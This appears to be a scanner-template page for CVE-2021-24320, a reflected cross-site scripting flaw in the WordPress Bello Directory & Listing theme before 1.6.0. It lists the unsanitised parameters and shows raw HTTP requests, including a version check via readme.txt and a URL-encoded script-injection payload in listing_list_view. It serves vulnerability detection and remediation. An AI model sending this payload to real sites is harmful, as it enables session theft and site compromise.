| Title | WordPress Bello Directory & Listing Theme <1.6.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement. |
| Remediation | Update WordPress Bello Directory & Listing Theme to version 1.6.0 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.50348 |
| CVE ID | CVE-2021-24320 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wordpress xss wp-plugin wpscan bold-themes vuln |
WordPress Bello Directory & Listing theme before 1.6.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape the listing_list_view, bt_bb_listing_field_my_lat, bt_bb_listing_field_my_lng, bt_bb_listing_field_distance_value, bt_bb_listing_field_my_lat_default, bt_bb_listing_field_keyword, bt_bb_listing_field_location_autocomplete, bt_bb_listing_field_price_range_from and bt_bb_listing_field_price_range_to parameters in the ints listing page.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/themes/bello/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24320.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24320.pcap
N/AN/A